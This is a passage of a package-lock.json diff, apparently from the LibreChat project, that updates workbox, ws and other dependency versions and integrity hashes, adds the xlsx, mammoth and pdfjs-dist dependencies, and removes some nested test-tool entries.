"resolved": "https://registry.npmjs.org/workbox-navigation-preload/-/workbox-navigation-preload-7.3.0.tgz", - "integrity": "sha512-fTJzogmFaTv4bShZ6aA7Bfj4Cewaq5rp30qcxl2iYM45YD79rKIhvzNHiFj1P+u5ZZldroqhASXwwoyusnr2cg==", + "version": "7.4.0", + "resolved": "https://registry.npmjs.org/workbox-navigation-preload/-/workbox-navigation-preload-7.4.0.tgz", + "integrity": "sha512-etzftSgdQfjMcfPgbfaZCfM2QuR1P+4o8uCA2s4rf3chtKTq/Om7g/qvEOcZkG6v7JZOSOxVYQiOu6PbAZgU6w==", "dev": true, + "license": "MIT", "dependencies": { - "workbox-core": "7.3.0" + "workbox-core": "7.4.0" } }, "node_modules/workbox-precaching": { - "version": "7.3.0", - "resolved": "https://registry.npmjs.org/workbox-precaching/-/workbox-precaching-7.3.0.tgz", - "integrity": "sha512-ckp/3t0msgXclVAYaNndAGeAoWQUv7Rwc4fdhWL69CCAb2UHo3Cef0KIUctqfQj1p8h6aGyz3w8Cy3Ihq9OmIw==", + "version": "7.4.0", + "resolved": "https://registry.npmjs.org/workbox-precaching/-/workbox-precaching-7.4.0.tgz", + "integrity": "sha512-VQs37T6jDqf1rTxUJZXRl3yjZMf5JX/vDPhmx2CPgDDKXATzEoqyRqhYnRoxl6Kr0rqaQlp32i9rtG5zTzIlNg==", "dev": true, + "license": "MIT", "dependencies": { - "workbox-core": "7.3.0", - "workbox-routing": "7.3.0", - "workbox-strategies": "7.3.0" + "workbox-core": "7.4.0", + "workbox-routing": "7.4.0", + "workbox-strategies": "7.4.0" } }, "node_modules/workbox-range-requests": { - "version": "7.3.0", - "resolved": "https://registry.npmjs.org/workbox-range-requests/-/workbox-range-requests-7.3.0.tgz", - "integrity": "sha512-EyFmM1KpDzzAouNF3+EWa15yDEenwxoeXu9bgxOEYnFfCxns7eAxA9WSSaVd8kujFFt3eIbShNqa4hLQNFvmVQ==", + "version": "7.4.0", + "resolved": "https://registry.npmjs.org/workbox-range-requests/-/workbox-range-requests-7.4.0.tgz", + "integrity": "sha512-3Vq854ZNuP6Y0KZOQWLaLC9FfM7ZaE+iuQl4VhADXybwzr4z/sMmnLgTeUZLq5PaDlcJBxYXQ3U91V7dwAIfvw==", "dev": true, + "license": "MIT", "dependencies": { - "workbox-core": "7.3.0" + "workbox-core": "7.4.0" } }, "node_modules/workbox-recipes": { - "version": "7.3.0", - "resolved": "https://registry.npmjs.org/workbox-recipes/-/workbox-recipes-7.3.0.tgz", - "integrity": "sha512-BJro/MpuW35I/zjZQBcoxsctgeB+kyb2JAP5EB3EYzePg8wDGoQuUdyYQS+CheTb+GhqJeWmVs3QxLI8EBP1sg==", + "version": "7.4.0", + "resolved": "https://registry.npmjs.org/workbox-recipes/-/workbox-recipes-7.4.0.tgz", + "integrity": "sha512-kOkWvsAn4H8GvAkwfJTbwINdv4voFoiE9hbezgB1sb/0NLyTG4rE7l6LvS8lLk5QIRIto+DjXLuAuG3Vmt3cxQ==", "dev": true, + "license": "MIT", "dependencies": { - "workbox-cacheable-response": "7.3.0", - "workbox-core": "7.3.0", - "workbox-expiration": "7.3.0", - "workbox-precaching": "7.3.0", - "workbox-routing": "7.3.0", - "workbox-strategies": "7.3.0" + "workbox-cacheable-response": "7.4.0", + "workbox-core": "7.4.0", + "workbox-expiration": "7.4.0", + "workbox-precaching": "7.4.0", + "workbox-routing": "7.4.0", + "workbox-strategies": "7.4.0" } }, "node_modules/workbox-routing": { - "version": "7.3.0", - "resolved": "https://registry.npmjs.org/workbox-routing/-/workbox-routing-7.3.0.tgz", - "integrity": "sha512-ZUlysUVn5ZUzMOmQN3bqu+gK98vNfgX/gSTZ127izJg/pMMy4LryAthnYtjuqcjkN4HEAx1mdgxNiKJMZQM76A==", + "version": "7.4.0", + "resolved": "https://registry.npmjs.org/workbox-routing/-/workbox-routing-7.4.0.tgz", + "integrity": "sha512-C/ooj5uBWYAhAqwmU8HYQJdOjjDKBp9MzTQ+otpMmd+q0eF59K+NuXUek34wbL0RFrIXe/KKT+tUWcZcBqxbHQ==", "dev": true, + "license": "MIT", "dependencies": { - "workbox-core": "7.3.0" + "workbox-core": "7.4.0" } }, "node_modules/workbox-strategies": { - "version": "7.3.0", - "resolved": "https://registry.npmjs.org/workbox-strategies/-/workbox-strategies-7.3.0.tgz", - "integrity": "sha512-tmZydug+qzDFATwX7QiEL5Hdf7FrkhjaF9db1CbB39sDmEZJg3l9ayDvPxy8Y18C3Y66Nrr9kkN1f/RlkDgllg==", + "version": "7.4.0", + "resolved": "https://registry.npmjs.org/workbox-strategies/-/workbox-strategies-7.4.0.tgz", + "integrity": "sha512-T4hVqIi5A4mHi92+5EppMX3cLaVywDp8nsyUgJhOZxcfSV/eQofcOA6/EMo5rnTNmNTpw0rUgjAI6LaVullPpg==", "dev": true, + "license": "MIT", "dependencies": { - "workbox-core": "7.3.0" + "workbox-core": "7.4.0" } }, "node_modules/workbox-streams": { - "version": "7.3.0", - "resolved": "https://registry.npmjs.org/workbox-streams/-/workbox-streams-7.3.0.tgz", - "integrity": "sha512-SZnXucyg8x2Y61VGtDjKPO5EgPUG5NDn/v86WYHX+9ZqvAsGOytP0Jxp1bl663YUuMoXSAtsGLL+byHzEuMRpw==", + "version": "7.4.0", + "resolved": "https://registry.npmjs.org/workbox-streams/-/workbox-streams-7.4.0.tgz", + "integrity": "sha512-QHPBQrey7hQbnTs5GrEVoWz7RhHJXnPT+12qqWM378orDMo5VMJLCkCM1cnCk+8Eq92lccx/VgRZ7WAzZWbSLg==", "dev": true, + "license": "MIT", "dependencies": { - "workbox-core": "7.3.0", - "workbox-routing": "7.3.0" + "workbox-core": "7.4.0", + "workbox-routing": "7.4.0" } }, "node_modules/workbox-sw": { - "version": "7.3.0", - "resolved": "https://registry.npmjs.org/workbox-sw/-/workbox-sw-7.3.0.tgz", - "integrity": "sha512-aCUyoAZU9IZtH05mn0ACUpyHzPs0lMeJimAYkQkBsOWiqaJLgusfDCR+yllkPkFRxWpZKF8vSvgHYeG7LwhlmA==", - "dev": true + "version": "7.4.0", + "resolved": "https://registry.npmjs.org/workbox-sw/-/workbox-sw-7.4.0.tgz", + "integrity": "sha512-ltU+Kr3qWR6BtbdlMnCjobZKzeV1hN+S6UvDywBrwM19TTyqA03X66dzw1tEIdJvQ4lYKkBFox6IAEhoSEZ8Xw==", + "dev": true, + "license": "MIT" }, "node_modules/workbox-window": { - "version": "7.3.0", - "resolved": "https://registry.npmjs.org/workbox-window/-/workbox-window-7.3.0.tgz", - "integrity": "sha512-qW8PDy16OV1UBaUNGlTVcepzrlzyzNW/ZJvFQQs2j2TzGsg6IKjcpZC1RSquqQnTOafl5pCj5bGfAHlCjOOjdA==", + "version": "7.4.0", + "resolved": "https://registry.npmjs.org/workbox-window/-/workbox-window-7.4.0.tgz", + "integrity": "sha512-/bIYdBLAVsNR3v7gYGaV4pQW3M3kEPx5E8vDxGvxo6khTrGtSSCS7QiFKv9ogzBgZiy0OXLP9zO28U/1nF1mfw==", "dev": true, + "license": "MIT", "dependencies": { "@types/trusted-types": "^2.0.2", - "workbox-core": "7.3.0" + "workbox-core": "7.4.0" } }, "node_modules/wrap-ansi": { @@ -42828,9 +43917,10 @@ } }, "node_modules/ws": { - "version": "8.18.0", - "resolved": "https://registry.npmjs.org/ws/-/ws-8.18.0.tgz", - "integrity": "sha512-8VbfWfHLbbwu3+N6OKsOMpBdT4kXPDDB9cJk2bJ6mh9ucxdlnNvH1e+roYkKmN9Nxw2yjz7VzeO9oOz2zJ04Pw==", + "version": "8.19.0", + "resolved": "https://registry.npmjs.org/ws/-/ws-8.19.0.tgz", + "integrity": "sha512-blAT2mjOEIi0ZzruJfIhb3nps74PRWTCz1IjglWEEpQl5XS/UNama6u2/rjFkDDouqr4L67ry+1aGIALViWjDg==", + "license": "MIT", "engines": { "node": ">=10.0.0" }, @@ -42847,6 +43937,18 @@ } } }, + "node_modules/xlsx": { + "version": "0.20.3", + "resolved": "https://cdn.sheetjs.com/xlsx-0.20.3/xlsx-0.20.3.tgz", + "integrity": "sha512-oLDq3jw7AcLqKWH2AhCpVTZl8mf6X2YReP+Neh0SJUzV/BdZYjth94tG5toiMB1PPrYtxOCfaoUCkvtuH+3AJA==", + "license": "Apache-2.0", + "bin": { + "xlsx": "bin/xlsx.njs" + }, + "engines": { + "node": ">=0.8" + } + }, "node_modules/xml": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/xml/-/xml-1.0.1.tgz", @@ -42888,12 +43990,13 @@ } }, "node_modules/xml-name-validator": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/xml-name-validator/-/xml-name-validator-4.0.0.tgz", - "integrity": "sha512-ICP2e+jsHvAj2E2lIHxa5tjXRlKDJo4IdvPvCXbXQGdzSfmSpNVyIKMvoZHjDY9DP0zV17iI85o90vRFXNccRw==", + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/xml-name-validator/-/xml-name-validator-5.0.0.tgz", + "integrity": "sha512-EvGK8EJ3DhaHfbRlETOWAS5pO9MZITeauHKJyb8wyajUfQUenkIg2MvLDTZ4T/TgIcm3HU0TFBgWWboAZ30UHg==", "dev": true, + "license": "Apache-2.0", "engines": { - "node": ">=12" + "node": ">=18" } }, "node_modules/xml2js": { @@ -42945,6 +44048,8 @@ "version": "4.0.2", "resolved": "https://registry.npmjs.org/xtend/-/xtend-4.0.2.tgz", "integrity": "sha512-LKYU1iAXJXUgAXn9URjiu+MWhyUXHsvfp7mcuYm9dSUKK0/CjtrUwFAxD82/mCWbtLsGjFIad0wIsod4zrTAEQ==", + "dev": true, + "license": "MIT", "engines": { "node": ">=0.4" } @@ -43026,9 +44131,9 @@ } }, "node_modules/yauzl": { - "version": "3.2.0", - "resolved": "https://registry.npmjs.org/yauzl/-/yauzl-3.2.0.tgz", - "integrity": "sha512-Ow9nuGZE+qp1u4JIPvg+uCiUr7xGQWdff7JQSk5VGYTAZMDe2q8lxJ10ygv10qmSj031Ty/6FNJpLO4o1Sgc+w==", + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/yauzl/-/yauzl-3.2.1.tgz", + "integrity": "sha512-k1isifdbpNSFEHFJ1ZY4YDewv0IH9FR61lDetaRMD3j2ae3bIXGV+7c+LHCqtQGofSd8PIyV4X6+dHMAnSr60A==", "dev": true, "license": "MIT", "dependencies": { @@ -43070,9 +44175,9 @@ } }, "node_modules/zod-to-json-schema": { - "version": "3.25.0", - "resolved": "https://registry.npmjs.org/zod-to-json-schema/-/zod-to-json-schema-3.25.0.tgz", - "integrity": "sha512-HvWtU2UG41LALjajJrML6uQejQhNJx+JBO9IflpSja4R03iNWfKXrj6W2h7ljuLyc1nKS+9yDyL/9tD1U/yBnQ==", + "version": "3.25.1", + "resolved": "https://registry.npmjs.org/zod-to-json-schema/-/zod-to-json-schema-3.25.1.tgz", + "integrity": "sha512-pM/SU9d3YAggzi6MtR4h7ruuQlqKtad8e9S0fmxcMi+ueAK5Korys/aWcV9LIIHTVbj01NdzxcnXSN+O74ZIVA==", "license": "ISC", "peerDependencies": { "zod": "^3.25 || ^4" @@ -43089,7 +44194,7 @@ }, "packages/api": { "name": "@librechat/api", - "version": "1.7.22", + "version": "1.7.25", "license": "ISC", "devDependencies": { "@babel/preset-env": "^7.21.5", @@ -43114,28 +44219,32 @@ "jest": "^30.2.0", "jest-junit": "^16.0.0", "librechat-data-provider": "*", + "mammoth": "^1.11.0", "mongodb": "^6.14.2", - "rimraf": "^6.1.2", - "rollup": "^4.22.4", + "pdfjs-dist": "^5.4.624", + "rimraf": "^6.1.3", + "rollup": "^4.34.9", "rollup-plugin-peer-deps-external": "^2.2.4", "ts-node": "^10.9.2", - "typescript": "^5.0.4" + "typescript": "^5.0.4", + "xlsx": "https://cdn.sheetjs.com/xlsx-0.20.3/xlsx-0.20.3.tgz" }, "peerDependencies": { - "@anthropic-ai/vertex-sdk": "^0.14.0", - "@aws-sdk/client-bedrock-runtime": "^3.941.0", - "@aws-sdk/client-s3": "^3.758.0", + "@anthropic-ai/vertex-sdk": "^0.14.3", + "@aws-sdk/client-bedrock-runtime": "^3.970.0", + "@aws-sdk/client-s3": "^3.980.0", "@azure/identity": "^4.7.0", "@azure/search-documents": "^12.0.0", - "@azure/storage-blob": "^12.27.0", + "@azure/storage-blob": "^12.30.0", "@google/genai": "^1.19.0", "@keyv/redis": "^4.3.3", "@langchain/core": "^0.3.80", - "@librechat/agents": "^3.0.776", + "@librechat/agents": "^3.1.55", "@librechat/data-schemas": "*", - "@modelcontextprotocol/sdk": "^1.25.3", + "@modelcontextprotocol/sdk": "^1.27.1", "@smithy/node-http-handler": "^4.4.5", - "axios": "^1.12.1", + "ai-tokenizer": "^1.0.6", + "axios": "^1.13.5", "connect-redis": "^8.1.0", "eventsource": "^3.0.2", "express": "^5.1.0", @@ -43150,13 +44259,14 @@ "keyv": "^5.3.2", "keyv-file": "^5.1.2", "librechat-data-provider": "*", + "mammoth": "^1.11.0", "mathjs": "^15.1.0", "memorystore": "^1.6.7", "mongoose": "^8.12.1", "node-fetch": "2.7.0", + "pdfjs-dist": "^5.4.624", "rate-limit-redis": "^4.2.0", - "tiktoken": "^1.0.15", - "undici": "^7.18.2", + "undici": "^7.24.1", "zod": "^3.22.4" } }, @@ -43179,13 +44289,13 @@ } }, "packages/api/node_modules/rimraf": { - "version": "6.1.2", - "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-6.1.2.tgz", - "integrity": "sha512-cFCkPslJv7BAXJsYlK1dZsbP8/ZNLkCAQ0bi1hf5EKX2QHegmDFEFA6QhuYJlk7UDdc+02JjO80YSOrWPpw06g==", + "version": "6.1.3", + "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-6.1.3.tgz", + "integrity": "sha512-LKg+Cr2ZF61fkcaK1UdkH2yEBBKnYjTyWzTJT6KNPcSPaiT7HSdhtMXQuN5wkTX0Xu72KQ1l8S42rlmexS2hSA==", "dev": true, "license": "BlueOak-1.0.0", "dependencies": { - "glob": "^13.0.0", + "glob": "^13.0.3", "package-json-from-dist": "^1.0.1" }, "bin": { @@ -43200,7 +44310,7 @@ }, "packages/client": { "name": "@librechat/client", - "version": "0.4.51", + "version": "0.4.54", "devDependencies": { "@babel/core": "^7.28.5", "@babel/preset-env": "^7.28.5", @@ -43230,8 +44340,8 @@ "react": "^18.2.0", "react-dom": "^18.2.0", "react-i18next": "^15.4.0", - "rimraf": "^6.1.2", - "rollup": "^4.0.0", + "rimraf": "^6.1.3", + "rollup": "^4.34.9", "rollup-plugin-peer-deps-external": "^2.2.4", "rollup-plugin-postcss": "^4.0.2", "rollup-plugin-typescript2": "^0.35.0", @@ -44592,89 +45702,6 @@ "@babel/core": "^7.0.0-0" } }, - "packages/client/node_modules/@jest/environment": { - "version": "30.2.0", - "resolved": "https://registry.npmjs.org/@jest/environment/-/environment-30.2.0.tgz", - "integrity": "sha512-/QPTL7OBJQ5ac09UDRa3EQes4gt1FTEG/8jZ/4v5IVzx+Cv7dLxlVIvfvSVRiiX2drWyXeBjkMSR8hvOWSog5g==", - "dev": true, - "license": "MIT", - "dependencies": { - "@jest/fake-timers": "30.2.0", - "@jest/types": "30.2.0", - "@types/node": "*", - "jest-mock": "30.2.0" - }, - "engines": { - "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0" - } - }, - "packages/client/node_modules/@jest/fake-timers": { - "version": "30.2.0", - "resolved": "https://registry.npmjs.org/@jest/fake-timers/-/fake-timers-30.2.0.tgz", - "integrity": "sha512-HI3tRLjRxAbBy0VO8dqqm7Hb2mIa8d5bg/NJkyQcOk7V118ObQML8RC5luTF/Zsg4474a+gDvhce7eTnP4GhYw==", - "dev": true, - "license": "MIT", - "dependencies": { - "@jest/types": "30.2.0", - "@sinonjs/fake-timers": "^13.0.0", - "@types/node": "*", - "jest-message-util": "30.2.0", - "jest-mock": "30.2.0", - "jest-util": "30.2.0" - }, - "engines": { - "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0" - } - }, - "packages/client/node_modules/@jest/types": { - "version": "30.2.0", - "resolved": "https://registry.npmjs.org/@jest/types/-/types-30.2.0.tgz", - "integrity": "sha512-H9xg1/sfVvyfU7o3zMfBEjQ1gcsdeTMgqHoYdN79tuLqfTtuu7WckRA1R5whDwOzxaZAeMKTYWqP+WCAi0CHsg==", - "dev": true, - "license": "MIT", - "dependencies": { - "@jest/pattern": "30.0.1", - "@jest/schemas": "30.0.5", - "@types/istanbul-lib-coverage": "^2.0.6", - "@types/istanbul-reports": "^3.0.4", - "@types/node": "*", - "@types/yargs": "^17.0.33", - "chalk": "^4.1.2" - }, - "engines": { - "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0" - } - }, - "packages/client/node_modules/@jest/types/node_modules/@jest/schemas": { - "version": "30.0.5", - "resolved": "https://registry.npmjs.org/@jest/schemas/-/schemas-30.0.5.tgz", - "integrity": "sha512-DmdYgtezMkh3cpU8/1uyXakv3tJRcmcXxBOcO0tbaozPwpmh4YMsnWrQm9ZmZMfa5ocbxzbFk6O4bDPEc/iAnA==", - "dev": true, - "license": "MIT", - "dependencies": { - "@sinclair/typebox": "^0.34.0" - }, - "engines": { - "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0" - } - }, - "packages/client/node_modules/@sinclair/typebox": { - "version": "0.34.41", - "resolved": "https://registry.npmjs.org/@sinclair/typebox/-/typebox-0.34.41.tgz", - "integrity": "sha512-6gS8pZzSXdyRHTIqoqSVknxolr1kzfy4/CeDnrzsVz8TTIWUbOBr6gnzOmTYJ3eXQNh4IYHIGi5aIL7sOZ2G/g==", - "dev": true, - "license": "MIT" - }, - "packages/client/node_modules/@sinonjs/fake-timers": { - "version": "13.0.5", - "resolved": "https://registry.npmjs.org/@sinonjs/fake-timers/-/fake-timers-13.0.5.tgz", - "integrity": "sha512-36/hTbH2uaWuGVERyC6da9YwGWnzUZXuPro/F2LfsdOsLnCojz/iSH8MxUt/FD2S5XBSVPhmArFUXcpCQ2Hkiw==", - "dev": true, - "license": "BSD-3-Clause", - "dependencies": { - "@sinonjs/commons": "^3.0.1" - } - }, "packages/client/node_modules/@tanstack/react-table": { "version": "8.21.3", "resolved": "https://registry.npmjs.org/@tanstack/react-table/-/react-table-8.21.3.tgz", @@ -44848,28 +45875,6 @@ "dev": true, "license": "MIT" }, - "packages/client/node_modules/@types/jsdom": { - "version": "21.1.7", - "resolved": "https://registry.npmjs.org/@types/jsdom/-/jsdom-21.1.7.tgz", - "integrity": "sha512-yOriVnggzrnQ3a9OKOCxaVuSug3w3/SbOj5i7VwXWZEyUNl3bLF9V3MfxGbZKuwqJOQyRfqXyROBB1CoZLFWzA==", - "dev": true, - "license": "MIT", - "dependencies": { - "@types/node": "*", - "@types/tough-cookie": "*", - "parse5": "^7.0.0" - } - }, - "packages/client/node_modules/agent-base": { - "version": "7.1.4", - "resolved": "https://registry.npmjs.org/agent-base/-/agent-base-7.1.4.tgz", - "integrity": "sha512-MnA+YT8fwfJPgBx3m60MNqakm30XOkyIoH1y6huTQvC0PwZG7ki8NacLBcrPbNoo8vEZy7Jpuk7+jMO+CUovTQ==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">= 14" - } - }, "packages/client/node_modules/ansi-styles": { "version": "5.2.0", "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-5.2.0.tgz", @@ -44935,22 +45940,6 @@ "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, - "packages/client/node_modules/ci-info": { - "version": "4.3.1", - "resolved": "https://registry.npmjs.org/ci-info/-/ci-info-4.3.1.tgz", - "integrity": "sha512-Wdy2Igu8OcBpI2pZePZ5oWjPC38tmDVx5WKUXKwlLYkA0ozo85sLsLvkBbBn/sZaSCMFOGZJ14fvW9t5/d7kdA==", - "dev": true, - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/sibiraj-s" - } - ], - "license": "MIT", - "engines": { - "node": ">=8" - } - }, "packages/client/node_modules/core-js-compat": { "version": "3.47.0", "resolved": "https://registry.npmjs.org/core-js-compat/-/core-js-compat-3.47.0.tgz", @@ -44965,68 +45954,6 @@ "url": "https://opencollective.com/core-js" } }, - "packages/client/node_modules/cssstyle": { - "version": "4.6.0", - "resolved": "https://registry.npmjs.org/cssstyle/-/cssstyle-4.6.0.tgz", - "integrity": "sha512-2z+rWdzbbSZv6/rhtvzvqeZQHrBaqgogqt85sqFNbabZOuFbCVFb8kPeEtZjiKkbrm395irpNKiYeFeLiQnFPg==", - "dev": true, - "license": "MIT", - "dependencies": { - "@asamuzakjp/css-color": "^3.2.0", - "rrweb-cssom": "^0.8.0" - }, - "engines": { - "node": ">=18" - } - }, - "packages/client/node_modules/data-urls": { - "version": "5.0.0", - "resolved": "https://registry.npmjs.org/data-urls/-/data-urls-5.0.0.tgz", - "integrity": "sha512-ZYP5VBHshaDAiVZxjbRVcFJpc+4xGgT0bK3vzy1HLN8jTO975HEbuYzZJcHoQEY5K1a0z8YayJkyVETa08eNTg==", - "dev": true, - "license": "MIT", - "dependencies": { - "whatwg-mimetype": "^4.0.0", - "whatwg-url": "^14.0.0" - }, - "engines": { - "node": ">=18" - } - }, - "packages/client/node_modules/decimal.js": { - "version": "10.6.0", - "resolved": "https://registry.npmjs.org/decimal.js/-/decimal.js-10.6.0.tgz", - "integrity": "sha512-YpgQiITW3JXGntzdUmyUR1V812Hn8T1YVXhCu+wO3OpS4eU9l4YdD3qjyiKdV6mvV29zapkMeD390UVEf2lkUg==", - "dev": true, - "license": "MIT" - }, - "packages/client/node_modules/html-encoding-sniffer": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/html-encoding-sniffer/-/html-encoding-sniffer-4.0.0.tgz", - "integrity": "sha512-Y22oTqIU4uuPgEemfz7NDJz6OeKf12Lsu+QC+s3BVpda64lTiMYCyGwg5ki4vFxkMwQdeZDl2adZoqUgdFuTgQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "whatwg-encoding": "^3.1.1" - }, - "engines": { - "node": ">=18" - } - }, - "packages/client/node_modules/http-proxy-agent": { - "version": "7.0.2", - "resolved": "https://registry.npmjs.org/http-proxy-agent/-/http-proxy-agent-7.0.2.tgz", - "integrity": "sha512-T1gkAiYYDWYx3V5Bmyu7HcfcvL7mUrTWiM6yOfa3PIphViJ/gFPbvidQ+veqSOHci/PxBcDabeUNCzpOODJZig==", - "dev": true, - "license": "MIT", - "dependencies": { - "agent-base": "^7.1.0", - "debug": "^4.3.4" - }, - "engines": { - "node": ">= 14" - } - }, "packages/client/node_modules/i18next": { "version": "24.2.3", "resolved": "https://registry.npmjs.org/i18next/-/i18next-24.2.3.tgz", @@ -45059,193 +45986,6 @@ } } }, - "packages/client/node_modules/iconv-lite": { - "version": "0.6.3", - "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.6.3.tgz", - "integrity": "sha512-4fCk79wshMdzMp2rH06qWrJE4iolqLhCUH+OiuIgU++RB0+94NlDL81atO7GX55uUKueo0txHNtvEyI6D7WdMw==", - "dev": true, - "license": "MIT", - "dependencies": { - "safer-buffer": ">= 2.1.2 < 3.0.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "packages/client/node_modules/jest-environment-jsdom": { - "version": "30.2.0", - "resolved": "https://registry.npmjs.org/jest-environment-jsdom/-/jest-environment-jsdom-30.2.0.tgz", - "integrity": "sha512-zbBTiqr2Vl78pKp/laGBREYzbZx9ZtqPjOK4++lL4BNDhxRnahg51HtoDrk9/VjIy9IthNEWdKVd7H5bqBhiWQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "@jest/environment": "30.2.0", - "@jest/environment-jsdom-abstract": "30.2.0", - "@types/jsdom": "^21.1.7", - "@types/node": "*", - "jsdom": "^26.1.0" - }, - "engines": { - "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0" - }, - "peerDependencies": { - "canvas": "^3.0.0" - }, - "peerDependenciesMeta": { - "canvas": { - "optional": true - } - } - }, - "packages/client/node_modules/jest-message-util": { - "version": "30.2.0", - "resolved": "https://registry.npmjs.org/jest-message-util/-/jest-message-util-30.2.0.tgz", - "integrity": "sha512-y4DKFLZ2y6DxTWD4cDe07RglV88ZiNEdlRfGtqahfbIjfsw1nMCPx49Uev4IA/hWn3sDKyAnSPwoYSsAEdcimw==", - "dev": true, - "license": "MIT", - "dependencies": { - "@babel/code-frame": "^7.27.1", - "@jest/types": "30.2.0", - "@types/stack-utils": "^2.0.3", - "chalk": "^4.1.2", - "graceful-fs": "^4.2.11", - "micromatch": "^4.0.8", - "pretty-format": "30.2.0", - "slash": "^3.0.0", - "stack-utils": "^2.0.6" - }, - "engines": { - "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0" - } - }, - "packages/client/node_modules/jest-message-util/node_modules/@jest/schemas": { - "version": "30.0.5", - "resolved": "https://registry.npmjs.org/@jest/schemas/-/schemas-30.0.5.tgz", - "integrity": "sha512-DmdYgtezMkh3cpU8/1uyXakv3tJRcmcXxBOcO0tbaozPwpmh4YMsnWrQm9ZmZMfa5ocbxzbFk6O4bDPEc/iAnA==", - "dev": true, - "license": "MIT", - "dependencies": { - "@sinclair/typebox": "^0.34.0" - }, - "engines": { - "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0" - } - }, - "packages/client/node_modules/jest-message-util/node_modules/pretty-format": { - "version": "30.2.0", - "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-30.2.0.tgz", - "integrity": "sha512-9uBdv/B4EefsuAL+pWqueZyZS2Ba+LxfFeQ9DN14HU4bN8bhaxKdkpjpB6fs9+pSjIBu+FXQHImEg8j/Lw0+vA==", - "dev": true, - "license": "MIT", - "dependencies": { - "@jest/schemas": "30.0.5", - "ansi-styles": "^5.2.0", - "react-is": "^18.3.1" - }, - "engines": { - "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0" - } - }, - "packages/client/node_modules/jest-message-util/node_modules/react-is": { - "version": "18.3.1", - "resolved": "https://registry.npmjs.org/react-is/-/react-is-18.3.1.tgz", - "integrity": "sha512-/LLMVyas0ljjAtoYiPqYiL8VWXzUUdThrmU5+n20DZv+a+ClRoevUzw5JxU+Ieh5/c87ytoTBV9G1FiKfNJdmg==", - "dev": true, - "license": "MIT" - }, - "packages/client/node_modules/jest-mock": { - "version": "30.2.0", - "resolved": "https://registry.npmjs.org/jest-mock/-/jest-mock-30.2.0.tgz", - "integrity": "sha512-JNNNl2rj4b5ICpmAcq+WbLH83XswjPbjH4T7yvGzfAGCPh1rw+xVNbtk+FnRslvt9lkCcdn9i1oAoKUuFsOxRw==", - "dev": true, - "license": "MIT", - "dependencies": { - "@jest/types": "30.2.0", - "@types/node": "*", - "jest-util": "30.2.0" - }, - "engines": { - "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0" - } - }, - "packages/client/node_modules/jest-util": { - "version": "30.2.0", - "resolved": "https://registry.npmjs.org/jest-util/-/jest-util-30.2.0.tgz", - "integrity": "sha512-QKNsM0o3Xe6ISQU869e+DhG+4CK/48aHYdJZGlFQVTjnbvgpcKyxpzk29fGiO7i/J8VENZ+d2iGnSsvmuHywlA==", - "dev": true, - "license": "MIT", - "dependencies": { - "@jest/types": "30.2.0", - "@types/node": "*", - "chalk": "^4.1.2", - "ci-info": "^4.2.0", - "graceful-fs": "^4.2.11", - "picomatch": "^4.0.2" - }, - "engines": { - "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0" - } - }, - "packages/client/node_modules/jsdom": { - "version": "26.1.0", - "resolved": "https://registry.npmjs.org/jsdom/-/jsdom-26.1.0.tgz", - "integrity": "sha512-Cvc9WUhxSMEo4McES3P7oK3QaXldCfNWp7pl2NNeiIFlCoLr3kfq9kb1fxftiwk1FLV7CvpvDfonxtzUDeSOPg==", - "dev": true, - "license": "MIT", - "dependencies": { - "cssstyle": "^4.2.1", - "data-urls": "^5.0.0", - "decimal.js": "^10.5.0", - "html-encoding-sniffer": "^4.0.0", - "http-proxy-agent": "^7.0.2", - "https-proxy-agent": "^7.0.6", - "is-potential-custom-element-name": "^1.0.1", - "nwsapi": "^2.2.16", - "parse5": "^7.2.1", - "rrweb-cssom": "^0.8.0", - "saxes": "^6.0.0", - "symbol-tree": "^3.2.4", - "tough-cookie": "^5.1.1", - "w3c-xmlserializer": "^5.0.0", - "webidl-conversions": "^7.0.0", - "whatwg-encoding": "^3.1.1", - "whatwg-mimetype": "^4.0.0", - "whatwg-url": "^14.1.1", - "ws": "^8.18.0", - "xml-name-validator": "^5.0.0" - }, - "engines": { - "node": ">=18" - }, - "peerDependencies": { - "canvas": "^3.0.0" - }, - "peerDependenciesMeta": { - "canvas": { - "optional": true - } - } - }, - "packages/client/node_modules/nwsapi": { - "version": "2.2.23", - "resolved": "https://registry.npmjs.org/nwsapi/-/nwsapi-2.2.23.tgz", - "integrity": "sha512-7wfH4sLbt4M0gCDzGE6vzQBo0bfTKjU7Sfpqy/7gs1qBfYz2vEJH6vXcBKpO3+6Yu1telwd0t9HpyOoLEQQbIQ==", - "dev": true, - "license": "MIT" - }, - "packages/client/node_modules/picomatch": { - "version": "4.0.3", - "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-4.0.3.tgz", - "integrity": "sha512-5gTmgEY/sqK6gFXLIsQNH19lWb4ebPDLA4SdLP7dsWkIXHWlG66oPuVvXSGFPppYZz8ZDZq0dYYrbHfBCVUb1Q==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=12" - }, - "funding": { - "url": "https://github.com/sponsors/jonschlinkert" - } - }, "packages/client/node_modules/pretty-format": { "version": "27.5.1", 